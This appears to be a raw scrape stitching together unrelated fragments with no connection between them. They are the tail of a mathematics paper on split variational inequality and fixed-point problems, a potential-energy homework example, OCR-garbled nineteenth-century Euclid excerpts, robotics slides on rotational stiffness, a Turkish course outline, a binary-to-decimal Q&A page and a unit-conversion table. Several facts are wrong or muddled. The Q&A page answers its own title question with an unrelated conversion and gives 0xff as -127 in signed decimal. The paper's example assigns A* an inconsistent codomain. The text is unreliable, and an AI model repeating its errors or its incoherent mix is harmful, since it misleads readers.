\\{\\frac{1}{L_{\\bar{\\Im }_{1}}}, \\frac{1}{L_{\\bar{\\Im }_{2}}},\\frac{1}{L_{\\bar{\\Im }_{3}}}\\}$$. Let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$. Define $$M_{C}:H_{1}\\rightarrow C$$ by $$M_{C}(x)=P_{C}(I-\\zeta \\nabla \\Im _{1})(ax+(1-a)P_{C}(I-\\zeta \\nabla \\Im _{2})(ax+(1-a)P_{C}(I-\\zeta \\nabla \\Im _{3})x))$$, $$\\forall x\\in H_{1}$$, and define $$M_{Q}:H_{2}\\rightarrow Q$$ by $$M_{Q}(\\hat{x})=P_{Q}(I-\\bar{\\zeta }\\nabla \\bar{\\Im _{1}})(a\\hat{x}+(1-a)P_{Q}(I- \\bar{\\zeta }\\nabla \\bar{\\Im _{2}})(a\\hat{x}+(1-a)P_{Q}(I-\\bar{\\zeta } \\nabla \\bar{\\Im _{3}})\\hat{x}))$$, $$\\forall \\hat{x}\\in H_{2}$$. Let the sequences $$\\{x_{n}\\}$$ and $$\\{y_{n}\\}$$ be generated by $$x_{1}\\in H_{1}$$ and\n\n\\begin{aligned} y_{n}=M_{C} W_{n} =P_{C}(I-\\zeta \\nabla \\Im _{1})T_{n}, \\end{aligned}\n\nwhere $$W_{n}=(I-\\eta A^{*}(I-M_{Q})A)x_{n}$$ and $$T_{n}=aW_{n}+(1-a)P_{C}(I-\\zeta \\nabla \\Im _{2})(aW_{n}+(1-a)P_{C}(I- \\zeta \\nabla \\Im _{3})W_{n}))$$.\n\n\\begin{aligned} &Q_{n}= \\bigl\\{ z\\in H: \\bigl\\langle (I-\\zeta \\nabla \\Im _{1})T_{n}-y_{n},y_{n}-z \\bigr\\rangle \\geq 0 \\bigr\\} ,\\\\ &x_{n+1}=\\alpha _{n}T_{n}+(1-\\alpha _{n})SP_{Q_{n}} \\bigl(T_{n}-\\zeta \\nabla \\Im _{1}(y_{n}) \\bigr), \\quad\\forall n\\in \\mathbb{N}. \\end{aligned}\n\nAssume that the following conditions hold:\n\n1. (i)\n\n$$\\Im =F(S)\\bigcap \\bigcap_{i=1}^{3}\\Phi _{\\Im _{i}} \\neq \\emptyset$$, where $$\\Phi _{\\Im _{i}}=\\{ \\Im _{i}(x)= \\min_{x^{*}\\in C}\\Im _{i}(x^{*}) : \\bar{\\Im _{i}}(Ax)= \\min_{Ax^{*}\\in Q}\\bar{\\Im _{i}}(Ax^{*}) \\}$$ for all $$i=1,2,3$$.\n\n2. (ii)\n\n$$\\alpha _{n}\\in [c,d]\\subset (0,1)$$.\n\nThen $$\\{x_{n}\\}$$ converges weakly to $$x_{0}=P_{\\Im }{x_{n}}$$, which $$(x_{0},y_{0},z_{0})\\in \\Omega ^{\\nabla \\Im _{1},\\nabla \\Im _{2}, \\nabla \\Im _{3}}_{\\nabla \\bar{\\Im _{1}},\\nabla \\bar{\\Im _{2}},\\nabla \\bar{\\Im _{3}}}$$, where $$y_{0}=P_{C}(I-\\zeta \\nabla \\Im _{2})(ax_{0}+(1-a)z_{0})$$ and $$z_{0}=P_{C}(I-\\zeta \\nabla \\Im _{3})x_{0}$$ with $$\\bar{x_{0}}=Ax_{0}$$, $$\\bar{y_{0}}=Ay_{0}$$, and $$\\bar{z_{0}}=Az_{0}$$.\n\n### Proof\n\nBy using Theorem 3.1 and Lemma 4.2, we obtain the conclusion. □\n\n## 5 Example and numerical results\n\nIn this section, we give the following example to support our main theorem.\n\n### Example 5.1\n\nLet $$\\mathbb{R}$$ be the set of real numbers, $$C:=\\{x\\in H|1\\leq 2x_{1}+x_{2}\\leq 7\\}$$, $$Q:=\\{x\\in H|-10\\leq 3x_{1}-x_{2}\\leq 20\\}$$, $$H_{1}=H_{2}=\\mathbb{R}^{2}$$. Let $$D_{1},D_{2},D_{3}:C\\rightarrow \\mathbb{R}^{2}$$ be defined by $$D_{1}(x_{1},x_{2})=(x_{1} -2,x_{2} +1)$$, $$D_{2}(x_{1},x_{2})=(x_{1} -3,x_{2} -\\frac{5}{2})$$, and $$D_{3}(x_{1},x_{2})=(x_{1} +2,x_{2} -6)$$ for all $$(x_{1},x_{2})\\in C$$. Let $$\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}:Q\\rightarrow \\mathbb{R}^{2}$$ be defined by $$\\bar{D_{1}}(\\bar{x_{1}},\\bar{x_{2}})=(\\bar{x_{1}} -4,\\bar{x_{2}} +8)$$, $$\\bar{D_{2}}(\\bar{x_{1}},\\bar{x_{2}})=(\\bar{x_{1}} -12,\\bar{x_{2}} -8)$$, and $$\\bar{D_{3}}(\\bar{x_{1}},\\bar{x_{2}})=(\\bar{x_{1}} +16,\\bar{x_{2}} -30)$$ for all $$(\\bar{x_{1}},\\bar{x_{2}})\\in Q$$. Let $$A:\\mathbb{R}^{2}\\rightarrow \\mathbb{R}^{2}$$ be defined by $$A(x_{1},x_{2})=(2x_{1},2x_{2})$$ and $$A^{*}:\\mathbb{R}^{2}\\rightarrow \\mathbb{R}$$ be defined by $$A^{*}(x_{1},x_{2})=(2x_{1},2x_{2})$$. Define $$M_{C}:H_{1}\\rightarrow C$$ by $$M_{C}(x)=P_{C}(I-\\frac{1}{2}D_{1})(\\frac{1}{2}x+\\frac{1}{2}P_{C}(I- \\frac{1}{2}D_{2})(\\frac{1}{2}x+\\frac{1}{2}P_{C}(I-\\frac{1}{2}D_{3})x))$$, $$\\forall x=(x_{1},x_{2})\\in H_{1}$$, define $$M_{Q}:H_{2}\\rightarrow Q$$ by $$M_{Q}(\\hat{x})=P_{Q}(I-\\frac{1}{5}\\bar{D_{1}})(\\frac{1}{2}\\hat{x}+ \\frac{1}{2}P_{Q}(I-\\frac{1}{5}\\bar{D_{2}})(\\frac{1}{2}\\hat{x}+ \\frac{1}{2}P_{Q}(I-\\frac{1}{5}\\bar{D_{3}})\\hat{x}))$$, $$\\forall \\hat{x}=(\\hat{x_{1}},\\hat{x_{2}})\\in H_{2}$$, and define $$S:C\\rightarrow C$$ by $$S(x_{1},x_{2})=(\\frac{x_{1}}{2}+1,\\frac{x_{2}}{2})$$. Let the sequences $$\\{x_{n}\\}$$ and $$\\{y_{n}\\}$$ be generated by $$x_{1}\\in H_{1}$$ and\n\n\\begin{aligned} y_{n}=M_{C} W_{n} =P_{C} \\biggl(I- \\frac{1}{2}(x_{1} -2,x_{2} +1) \\biggr)T_{n}, \\end{aligned}\n\nwhere $$W_{n}=(I-\\frac{1}{8}A^{*}(I-M_{Q})A)x_{n}$$ and $$T_{n}=\\frac{1}{2}W_{n}+\\frac{1}{2}P_{C}(I-\\frac{1}{2}(x_{1} -3,x_{2} - \\frac{5}{2}))(\\frac{1}{2}W_{n}+\\frac{1}{2}P_{C}(I-\\frac{1}{2}(x_{1} +2,x_{2} -6))W_{n}))$$,\n\n\\begin{aligned} Q_{n}= \\biggl\\{ z\\in H: \\biggl\\langle \\biggl(I-\\frac{1}{2}(x_{1} -2,x_{2} +1) \\biggr)T_{n}-y_{n},y_{n}-z \\biggr\\rangle \\geq 0 \\biggr\\} , \\end{aligned}\n\nand\n\n\\begin{aligned} x_{n+1}=\\frac{n+1}{5n}T_{n}+ \\biggl(1-\\frac{n+1}{5n} \\biggr)SP_{Q_{n}} \\biggl(T_{n}- \\frac{1}{2}(x_{1} -2,x_{2} +1) (y_{n}) \\biggr), \\quad\\forall n\\in \\mathbb{N}, \\end{aligned}\n\nwhere\n\n\\begin{aligned} P_{C}x= \\textstyle\\begin{cases} (x_{1},x_{2})-\\frac{[2x_{1}+x_{2}-7](2,1)}{5} & \\text{if } 2x_{1}+x_{2}>7, \\\\ (x_{1},x_{2})& \\text{if } 1\\leq 2x_{1}+x_{2}\\leq 7, \\\\ (x_{1},x_{2})-\\frac{[2x_{1}+x_{2}-1](2,1)}{5}& \\text{if} 2x_{1}+x_{2}< 1, \\end{cases}\\displaystyle \\end{aligned}\n\nfor every $$x=(x_{1},x_{2})\\in H_{1}$$ and\n\n\\begin{aligned} P_{Q}\\hat{x}= \\textstyle\\begin{cases} ({x_{1}},{x_{2}})-\\frac{[3{x_{1}}-{x_{2}}-20](3,-1)}{10} &\\text{if } 3{x_{1}}-{x_{2}}>20, \\\\ ({x_{1}},{x_{2}}) & \\text{if } -10\\leq 3{x_{1}}-{x_{2}}\\leq 20, \\\\ ({x_{1}},{x_{2}})-\\frac{[3{x_{1}}-{x_{2}}+10](3,-1)}{10}& \\text{if } 3{x_{1}}-{x_{2}}< -10, \\end{cases}\\displaystyle \\end{aligned}\n\nfor every $$\\hat{x}=({x_{1}},{x_{2}})\\in H_{2}$$. By the definition of $$S, D_{i}, \\bar{D_{i}}, M_{C}, M_{Q}$$ for every $$i=1,2,3$$, we have $$(2,0)\\in F(M_{C}(I-\\frac{1}{8}A^{*}(I-M_{Q})A))$$. From Theorem 3.1, we can conclude that the sequences $$\\{x_{n}\\}$$ and $$\\{y_{n}\\}$$ converge strongly to $$(2,0)$$.\n\nTable 1 and Fig. 1 show the numerical results of sequences $$\\{x_{n}\\}$$ and $$\\{y_{n}\\}$$ where $$x_{1}=(-5,5)$$ and $$n=N=30$$.\n\n## Availability of data and materials\n\nAll data generated or analyzed during this study are included in this published article.\n\n## References\n\n1. Ceng, L.C., Li, X., Qin, X.: Parallel proximal point methods for systems of vector optimization problems on Hadamard manifolds without convexity. Optimization 69, 357–383 (2020)\n\n2. Ceng, L.C., Petrusel, A., Qin, X., Yao, J.C.: A modified inertial subgradient extragradient method for solving pseudomonotone variational inequalities and common fixed point problems. Fixed Point Theory 21, 93–108 (2020)\n\n3. Ceng, L.C., Petrusel, A., Qin, X., Yao, J.C.: Pseudomonotone variational inequalities and fixed points. Fixed Point Theory 22, 543–558 (2021)\n\n4. Ceng, L.C., Petrusel, A., Qin, X., Yao, J.C.: Two inertial subgradient extragradient algorithms for variational inequalities with fixed-point constraints. Optimization 70, 1337–1358 (2021)\n\n5. Ceng, L.C., Petrusel, A., Yao, J.C., Yao, Y.: Hybrid viscosity extragradient method for systems of variational inequalities, fixed points of nonexpansive mappings, zero points of accretive operators in Banach spaces. Fixed Point Theory 19, 487–501 (2018)\n\n6. Ceng, L.C., Petrusel, A., Yao, J.C., Yao, Y.: Systems of variational inequalities with hierarchical variational inequality constraints for Lipschitzian pseudocontractions. Fixed Point Theory 20, 113–133 (2019)\n\n7. Ceng, L.C., Shang, M.J.: Hybrid inertial subgradient extragradient methods for variational inequalities and fixed point problems involving asymptotically nonexpansive mappings. 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Nonlinear Convex Anal. 23(3), 591–605 (2022)\n\n13. Guan, J.L., Ceng, L.C., Hu, B.: Strong convergence theorem for split monotone variational inclusion with constraints of variational inequalities and fixed point problems. J. Inequal. Appl. 29, Article ID 311 (2018)\n\n14. He, L., Cui, Y.L., Ceng, L.C., et al.: Strong convergence for monotone bilevel equilibria with constraints of variational inequalities and fixed points using subgradient extragradient implicit rule. J. Inequal. Appl. 37, Article ID 146 (2021)\n\n15. He, S., Yang, C.: Solving the variational inequality problem defined on intersection of finite level sets. Abstr. Appl. Anal. 2013, Article ID 942315 (2013)\n\n16. Iusem, A.N., Svaiter, B.F.: A variant of Korpelevich’s method for variational inequalities with a new search strategy. Optimization 42, 309–321 (1997)\n\n17. Khobotov, E.N.: Modification of the extra-gradient method for solving variational inequalities and certain optimization problems. USSR Comput. Math. Math. Phys. 27, 120–127 (1989)\n\n18. Kim, J.K., Salahuddin Lim, W.H.: General nonconvex split variational inequality problems. Korean J. Math. 25(4), 469–481 (2017)\n\n19. Korpelevich, G.M.: The extragradient method for finding saddle points and other problems. Ekon. Mat. Metody. 12, 747–756 (1976)\n\n20. Noor, M.A., Noor, K.I.: Some aspects of variational inequalities. J. Comput. Appl. Math. 47, 285–312 (1993)\n\n21. Siriyan, K., Kangtunyakarn, A.: Algorithm method for solving the split general system of variational inequalities problem and fixed point problem of nonexpansive mapping with application. Math. Methods Appl. Sci. 41, 7766–7788 (2018)\n\n22. Solodov, M.V., Svaiter, B.F.: A new projection method for variational inequality problems. SIAM J. Control Optim. 37, 765–776 (1999)\n\n23. Sripattanet, A., Kangtunyakarn, A.: Convergence theorem for solving a new concept of the split variational inequality problems and application. Rev. R. Acad. Cienc. Exactas Fís. Nat., Ser. A Mat. 114, Article ID 177 (2020). https://doi.org/10.1007/s13398-020-00909-0\n\n24. Stampacchia, G.: Formes bilineaires coercivites sur les ensembles convexes. C. R. Acad. Sci. Paris, Ser. I 258, 4413–4416 (1964)\n\n25. Su, M., Xu, H.K.: Remarks on the gradient-projection algorithm. J. Nonlinear Anal. Optim. 1(1), 35–43 (2010)\n\n26. Taiwo, A., Mewomo, O.T., Gibali, A.: A simple strong convergent method for solving split common fixed point problems. J. Nonlinear Var. Anal. 5, 777–793 (2021)\n\n27. Tan, B., Cho, S., Yao, J.C.: Accelerated inertial subgradient extragradient algorithms with non-monotonic step sizes for equilibrium problems and fixed point problems. J. Nonlinear Var. Anal. 6, 89–122 (2022)\n\n28. Yao, Y., Iyiola, O.S., Shehu, Y.: Subgradient extragradient method with double inertial steps for variational inequalities. J. Sci. Comput. 90(2), Article ID 71 (2022)\n\n29. Yao, Y., Li, H., Postolache, M.: Iterative algorithms for split equilibrium problems of monotone operators and fixed point problems of pseudo-contractions. Optimization (2020). https://doi.org/10.1080/02331934.2020.1857757\n\n30. Yao, Y., Liou, Y.C., Yao, Y.C.: Iterative algorithms for the split variational inequality and fixed point problems under nonlinear transformations. J. Nonlinear Sci. Appl. 10, 843–854 (2017)\n\n31. Zhao, T.Y., Wang, D.Q., Ceng, L.C., et al.: Quasi-inertial Tseng’s extragradient algorithms for pseudomonotone variational inequalities and fixed point problems of quasi-nonexpansive operators. Numer. Funct. Anal. Optim. 42, 69–90 (2020)\n\n32. Zhao, X., Yao, J.C., Yao, Y.: A proximal algorithm for solving split monotone variational inclusions. UPB Sci. Bull., Ser. A 82(3), 43–52 (2020)\n\n## Acknowledgements\n\nThe authors would like to extend their sincere appreciation to the Research and Innovation Services of King Mongkut’s Institute of Technology Ladkrabang.\n\n## Funding\n\nThis research was supported by the Royal Golden Jubilee (RGJ) Ph.D. Programme, the National Research Council of Thailand (NRCT), under Grant No. PHD/0170/2561.\n\n## Author information\n\nAuthors\n\n### Contributions\n\nAK dealt with the conceptualization, formal analysis, supervision, writing—review and editing. AS writing—original draft, formal analysis, writing—review and editing. Both authors have read and approved the manuscript.\n\n### Corresponding author\n\nCorrespondence to Atid Kangtunyakarn.\n\n## Ethics declarations\n\n### Competing interests\n\nThe authors declare that they have no competing interests.\n\n## Rights and permissions",
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"Potential energy is often wrongly defined as the energy at rest. The correct definition of Potential Energy is that it is the energy possessed by an object due to its position or configuration.\n\nBased on the word itself, objects that have potential energy must have the potential to do some work. A hanging flower vase has potential energy because it can do work if it falls to the floor.\n\nThus, the formula for Potential Energy is PE = mgh where PE stands for Potential Energy, m for mass, g for the acceleration due to gravity and h for the height of the object from the ground.\n\n### Potential Energy Practice Problem\n\nA fruit hangs from a tree. The fruit is a quarter of a kilogram and is about to fall to the ground. If the fruit is 10 meters from the ground, how much potential energy does it possess?\n\nSolve this problem using the potential energy formula.",
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"### Steps in Solving this Potential Energy Problem\n\n• 1\nIdentify the given in the problem. We know that the mass of the fruit is 0.25 kg because it is a quarter of a kilogram. We also know that the fruit is 10 meters above the ground.\n\nThus, these are the given in the problem:\nMass = 0.25 kg\nHeight = 10 m\nPotential Energy = unknown\n\n• 2\nSubstitute the values in the Potential Energy Formula. You should already know that g, the acceleration due to gravity is constant and equal to 9.8 m/s2\n\nPE = mgh\nPE = (0.25 kg) (9.8 m/s2) (10 m)\nPE = 24.5 J\n\n• 3\nState the answer in a complete sentence.\n\nThe potential energy of the Marang fruit is 24.5 Joules.\n\n## Your Turn, Solve this Problem:\n\nA 30 kg boulder is on top of an 80 m cliff. If the rock falls, how much is its potential energy when it reaches 30 m above the ground?"
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"http://www.pinoytechnoguide.com/wp-content/uploads/2013/01/potential-energy-formula.jpg",
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https://books.google.com.jm/books?id=QJsBAAAAYAAJ&qtid=f87e7872&lr=&source=gbs_quotes_r&cad=6 | [
"Books Books",
null,
"Parallelograms upon the same base and between the same parallels, are equal to one another.",
null,
"Geometry Without Axioms; Or the First Book of Euclid's Elements. With ... - Page 111\nby Thomas Perronet Thompson - 1833 - 150 pages",
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"## Euclid's Elements of Geometry: The First Six, the Eleventh and Twelfth Books\n\nEuclid - Geometry - 1765 - 464 pages\n...demqnftrated. PROP. XXXVII. THEO R. Triangles cm-Jiituted upon the fame bafe, and hetwtett the fame parallels, are equal to one another. Let the triangles ABc, DEC be conftituted upon the fame bafe B c, and between the fame parallels AD, B c : I fay, the triangle AB...",
null,
"## The Popular Educator, Volumes 1-2; Volume 12\n\nGeography - 1867 - 960 pages\n...to show. The reader will remember that in Problem XXIV (page 308) it was shown that triangles on the same base and between the same parallels are equal to one another, and that triangles on equal bases and between the same parallels are also equal to one another. Now...",
null,
"## The Elements of Euclid: The Errors, by which Theon, Or Others, Have Long Ago ...\n\nRobert Simson - Trigonometry - 1781 - 466 pages\n...parallelograms, &c. Q-_E. D. PROP. XXXVII. THEO R. HPRiANGLES upon the fame bafe, and between the fame parallels, are equal to one another. Let the triangles ABC, DEC be upon the fame bafe BC and » -n A Jl -n J? between the fame parallels-i AD, BC. the mangle ABC isj equal to...",
null,
"## The Elements of Euclid: The Errors, by which Theon, Or Others, Have Long Ago ...\n\nRobert Simson - Trigonometry - 1806 - 518 pages\n...divides the paralkio c 4. 1. gram ACDB into two equal parts. QED PROP. XXXV. THEOR. See N. PARALLELOGRAMS upon the same base, and between the same parallels, are equal to one another. Sue OH- Let the parallelograms ABCD, EBCF be upon the same base 2dand3d BC, and between the same parallels...",
null,
"## Elements of Geometry: Containing the First Six Books of Euclid, with a ...\n\nJohn Playfair - Euclid's Elements - 1806 - 320 pages\n...the parallelogram ACDB intq two equal parts. Therefore, &c. QED j / PROP. XXXV. THEOR. PARALLELOGRAMS upon the same base, and between the same parallels, are equal to one another. gures. Seethe 2d Let the parallelograms ABCD, EBCF be upon the same and 3d fi- base BC, and between...",
null,
"## Pantologia. A new (cabinet) cyclopædia, by J.M. Good, O. Gregory ..., Volume 5\n\nJohn Mason Good - 1813 - 722 pages\n...diameter bisects them, that is, divides them in two equal parts. Prop. XXXV. Theor. Parallelograms upon the same base and between the same parallels, are equal to one another. Prop. XXXVI. Theor. Parallelograms upon equal basis, and between the same parallels, are equal to one...",
null,
"## The Elements of Euclid: Viz. the First Six Books, Together with the Eleventh ...\n\nEuclides - 1816 - 528 pages\n...i divides the parallelogram ACDB into two equal\" parts. PROP. XXXV. THEOR. , s«eN. PARALLELOGRAMS upon the same base, and between the same parallels, are equal to one another. See the ad Let the parallelograms ABCD, EBCF be upon the same and 3d fi. base BC, and between the same...",
null,
"## Elements of Geometry: Containing the First Six Books of Euclid, with a ...\n\nEuclid, John Playfair - Circle-squaring - 1819 - 348 pages\n...the parallelogram ABCD is equal to EFGH. Wherefore, parallelograms, &c* Q,. ED PROP. XXXVII. THEOR. Triangles upon the same base, and between the same...parallels, are equal to one another. Let the triangles ABC, DBC be upon the same base BC, and between the same parallels AD, ^_ BC : The triangle ABC, is e- •&...",
null,
"## Elements of Geometry: Containing the First Six Books of Euclid: With a ...\n\nJohn Playfair - 1819 - 317 pages\n...the parallelogram ABCD is equal to EFGH. Wherefore, parallelograms, &c. Q, ED PROP. XXXVII. THEOR. Triangles upon the same base, and between the same parallels, are equal to one another. AD Let the triangles ABC, DBC be upon the same base BC, and between the same parallels AD, BC : The...",
null,
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https://slides.com/pang/deck-052ade | [
"# Rotational Stiffness Comparison\n\n## Two ways to implement rotational stiffness\n\n• The gimbal torque model in drake's LinearBushingRollPitchYaw:\n• The gimbal torque model in drake's LinearBushingRollPitchYaw:\n• The axis-angle model from Natle's book, where a rotational potential energy is defined as\n\nGimbal torque (not a vector)\n\nMoments on frames (a vector)\n\nMoments\n\nResult of taking time derivative of axis and angle, although setting this to identity doesn't seem to cause problems...\n\nConstant\n\nwith\n\nMonotonically increasing in an interval around the origin, $$f(0) = 0$$. E.g. $$\\sin \\frac{\\cdot}{2}$$ for quaternions.\n\nAngle\n\nAxis\n\nTaking the time-derivative of the potential energy yields an expression for moments:\n\n3x3 stiffness\n\n\\Omega(r, \\theta) = f'(\\theta) I_3 - 0.5f(\\theta)\\hat{r}\n\n## Simulation comparison\n\n• We applied external moments on an object that starts at X_WB = I and is controlled by controller that uses one of the two rotational stiffness models.\n• Example:\n• $$K_r$$ = diag([10, 20, 40]) Nm/rad\n• $$\\tau_{ext}$$: a 10Nm torque along [1, 2, 3]\n\nGimbal stiffness model\n\nAxis-angle stiffness model with $$\\Omega$$\n\n• The steady-state rotations are different, but seem to be in the same ballpark. Which one is \"better\"?\n• The gimbal model has a corresponding mechanical device.\n• The axis-angle model (with $$\\Omega$$) has the property that a moment along one of the eigenvectors of $$K_r$$ generates a rotation whose axis is also aligned with the same eigenvector. A property called \"geometric consistency\" by Natale.\n\nAxis-angle stiffness model with $$\\Omega = I$$\n\n## Why do they go unstable as $$\\tau_{ext}$$ gets larger?\n\n• Example:\n• $$K_r$$ = diag([10, 20, 40]) Nm/rad\n• $$\\tau_{ext}$$: a 30Nm torque along [1, 2, 3]\n• All angles are between 0 and pi/2, but the system starts to oscillate.\n\nGimbal stiffness model\n\nAxis-angle stiffness model with $$\\Omega$$\n\nAxis-angle stiffness model with $$\\Omega = I$$\n\nBy Pang\n\n• 80"
] | [
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https://ebs.sakarya.edu.tr/DersDetay/DersAkisi/1304/79127?Disaridan= | [
"Ders Bilgileri\n\n#### Ders Akışı\n\nHafta Konular ÖnHazırlık\n1 Understanding of Numerical Solution methods for Parabolic Equations\n2 Difference Tables\n3 Uniform Interval Interpolation\n4 Non-Uniform Interval Interpolation\n5 Numerical Differentiation\n6 Numerical Integration\n7 Boundary Value Ordinary Differential Equations\n8 Initial Value Ordinary Differential Equations\n9 Linear Equations Systems\n10 Midterm Exam\n11 Introduction to Partial Differential Equations\n12 Classification of I. and II. order Quasi-Linear Differential Equations\n13 Hyperbolic Equations\n14 Parabolic Equations\n\n#### Kaynaklar\n\nDers Notu Advanced Numerical Methods, Walker, J.D.A., Lehigh University, Lecture Notes, 1996\nDers Kaynakları Linear Numerical Analysis, Noel Gastinel, Academic Press, Inc. New York, 1970\nNumerical Recipes in C , Press W.H., Teukolsky, S.A., Cambridge University Press, 1995\n\n; ;"
] | [
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https://studybuff.com/what-is-1010-1010-as-a-decimal/ | [
"# What is 1010 1010 as a decimal?\n\n1111110010 1010 in binary is 1111110010. Unlike the decimal number system where we use the digits 0 to 9 to represent a number, in a binary system, we use only 2 digits that are 0 and 1 (bits). … How to Convert 1010 in Binary?\n\nDividend Remainder\n1010/2 = 505 0\n505/2 = 252 1\n252/2 = 126 0\n126/2 = 63 0\n\n## What is the decimal value of 08?\n\nAnswer: 8% as a decimal is 0.08.\n\n## How do you convert hexadecimal to decimal?\n\nTo convert a hexadecimal to a decimal manually, you must start by multiplying the hex number by 16. Then, you raise it to a power of 0 and increase that power by 1 each time according to the hexadecimal number equivalent.\n\n## What is the decimal value of the binary number 1010012?\n\nAnswer. Warning. 1010012 = 4110. Type in a number in either binary, hex or decimal form.\n\n## How do you convert 1010 binary to decimal?\n\ndecimal = d0×20 + d1×21 + d2×22 + … … Binary to decimal conversion table.\n\nBinary Decimal\n1010 10\n1011 11\n1100 12\n1101 13\n\n## What is the value of 0001 & 0001?\n\nThis means 0000 is 0, 0001 is 1, 0010 is 2 and so on to 1001 being 9, but then from 1010 to 1111 of binary the hexadecimal uses letters from A to F and then when it reaches the value of 16 it becomes 10 because the two groups of four binary numbers are 0001 0000.\n\n## What is .4 as a decimal?\n\nPercent to decimal conversion table\n\nPercent Decimal\n1% 0.01\n2% 0.02\n3% 0.03\n4% 0.04\n\n## What is 0x8 in decimal form?\n\nHow to Use Hex with Binary for C Programming\n\nRead More: What is difference between active and passive movements?\nHex Binary Decimal\n0x8 1000 8\n0x9 1001 9\n0xA 1010 10\n0xB 1011 11\n\n## What is the value of 0001 1010 base 2 in decimal?\n\n1.4. 2 Binary Numbers\n\n4-Bit Binary Numbers Decimal Equivalents\n1010 10\n1011 11\n1100 12\n1101 13\n\n## Is Denary the same as decimal?\n\nDenary, also known as decimal or base 10, is the standard number system used around the world. It uses ten digits (0, 1, 2, 3, 4, 5, 6, 7, 8, and 9) to represent all numbers. Denary is often contrasted with binary, the standard number system used by computers and other electronic devices.\n\n## How do we convert binary to decimal?\n\nTo convert a number from binary to decimal using the positional notation method, we multiply each digit of the binary number with its base, (which is 2), raised to the power based on its position in the binary number.\n\n## What is the decimal value of hexadecimal number 777?\n\nThe value of the decimal is 1911.\n\n## What is 10001 as a decimal?\n\n17 Binary to Decimal conversion table\n\nBinary Number Decimal Number\n1111 15\n10000 16\n10001 17\n10010 18\n\n## What does 00000 mean in binary?\n\nThe binary number system\n\nDecimal Binary\n0 00000\n1 00001\n2 00010\n3 00011\n\n90.125. 9.125.\n\n## What is the binary number for 1010 Denary?\n\nSo 1010 1000 in binary is equal to 168 in denary.\n\n## What is the decimal value for the binary number 1111?\n\n10001010111 Therefore, the binary equivalent of decimal number 1111 is 10001010111.\n\n## What does 10/16 represent in decimal number system?\n\nNumeral systems conversion table\n\nRead More: How do nematodes affect humans?\nDecimal Base-10 Binary Base-2 Hexadecimal Base-16\n16 10000 10\n17 10001 11\n18 10010 12\n19 10011 13\n\n## What is the value of 9 decimal in binary?\n\n1001 Therefore, the binary equivalent of decimal number 9 is 1001.\n\n## What are the binary numbers from 1 to 100?\n\nList of Binary Numbers from 1 to 100\n\nNo. Binary Number\n97 1100001\n98 1100010\n99 1100011\n100 1100100\n\n## What is the highest number in binary number?\n\nWith 4 bits, the maximum possible number is binary 1111 or decimal 15. The maximum decimal number that can be represented with 1 byte is 255 or 11111111. … Maximum Decimal Value for N Bits.\n\nNumber of Bits Maximum States\n8 256\n12 4096 (4 K)\n16 65,536 (64 K)\n20 1,048,576 (1 M)\n\n## What is 10% as a decimal?\n\n0.1 Answer: 10% as a decimal is equal to 0.1.\n\n## What is 3 2 as a decimal?\n\n1.5 Answer: 3/2 as a decimal is expressed as 1.5.\n\n## What is the decimal value of 0x20?\n\n32 /040 Convert decimal to binary, octal and hexadecimal\n\n32 /040 0x20\n33 /041 0x21\n34 /042 0x22\n35 /043 0x23\n\n## How is 0xff calculated?\n\nThe value 0xff is equivalent to 255 in unsigned decimal, -127 in signed decimal, and 11111111 in binary. So, if we define an int variable with a value of 0xff, since Java represents integer numbers using 32 bits, the value of 0xff is 255: int x = 0xff; assertEquals(255, x);\n\n## What does the 0x mean in hex?\n\nThe prefix 0x is used in code to indicate that the number is being written in hex. … The hexadecimal format has a base of 16, which means that each digit can represent up to 16 different values.\n\nRead More: What primate has Bilophodont molars?\n\n## What is the decimal equivalent of 111?\n\n1101111 Therefore, the binary equivalent of decimal number 111 is 1101111. … How to Convert 111 in Binary?\n\nDividend Remainder\n111/2 = 55 1\n55/2 = 27 1\n27/2 = 13 1\n13/2 = 6 1\n\n## How do you convert a decimal number to a decimal?\n\nStep 1 − Divide the decimal number to be converted by the value of the new base. Step 2 − Get the remainder from Step 1 as the rightmost digit (least significant digit) of new base number. Step 3 − Divide the quotient of the previous divide by the new base.\n\n## What is the binary equivalent of decimal 255?\n\n11111111 255 in binary is 11111111.\n\nScroll to Top"
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https://www.justintools.com/unit-conversion/length.php?k1=rack-unit&k2=bohr-radius | [
"Please support this site by disabling or whitelisting the Adblock for \"justintools.com\". I've spent over 10 trillion microseconds (and counting), on this project. This site is my passion, and I regularly adding new tools/apps. Users experience is very important, that's why I use non-intrusive ads. Any feedback is appreciated. Thank you. Justin XoXo :)\n\n# LENGTH Units Conversionrack-unit to bohr-radius\n\n1 Rack Unit\n\nCategory: length\nConversion: Rack Unit to Bohr Radius\nThe base unit for length is meters (SI Unit)\n[Rack Unit] symbol/abbrevation: (ru)\n\nHow to convert Rack Unit to Bohr Radius (ru to Bohr)?\n1 ru = 839983597.1707 Bohr.\n1 x 839983597.1707 Bohr = 839983597.1707 Bohr Radius.\nAlways check the results; rounding errors may occur.\n\nDefinition:\n\nA rack unit (abbreviated U or RU) is a unit of measure defined as 1.75 inches (44.45 mm). It is most frequently used as a measurement of the overall height of 19-inch and ..more definition+\n\nThe Bohr radius (a0 or rBohr) is a physical constant, approximately equal to the most probable distance between the proton and electron in a hydrogen atom in its ground state. It is named after Niels Bohr, due to its role in the Bohr model of an atom. Its value is 5.2917721067×10^−11 m.\n\nIn relation to the base unit of [length] => (meters), 1 Rack Unit (ru) is equal to 0.04445 meters, while 1 Bohr Radius (Bohr) = 5.29177E-11 meters.\n1 Rack Unit to common length units\n1 ru = 0.04445 meters (m)\n1 ru = 4.445E-5 kilometers (km)\n1 ru = 4.445 centimeters (cm)\n1 ru = 0.14583333333333 feet (ft)\n1 ru = 1.75 inches (in)\n1 ru = 0.048611111111111 yards (yd)\n1 ru = 2.7619949494949E-5 miles (mi)\n1 ru = 4.6982348588944E-18 light years (ly)\n1 ru = 168.00002116536 pixels (PX)\n1 ru = 2.778125E+33 planck length (pl)\nRack Unitto Bohr Radius (table conversion)\n1 ru = 839983597.1707 Bohr\n2 ru = 1679967194.3414 Bohr\n3 ru = 2519950791.5121 Bohr\n4 ru = 3359934388.6828 Bohr\n5 ru = 4199917985.8535 Bohr\n6 ru = 5039901583.0242 Bohr\n7 ru = 5879885180.1949 Bohr\n8 ru = 6719868777.3656 Bohr\n9 ru = 7559852374.5363 Bohr\n10 ru = 8399835971.707 Bohr\n20 ru = 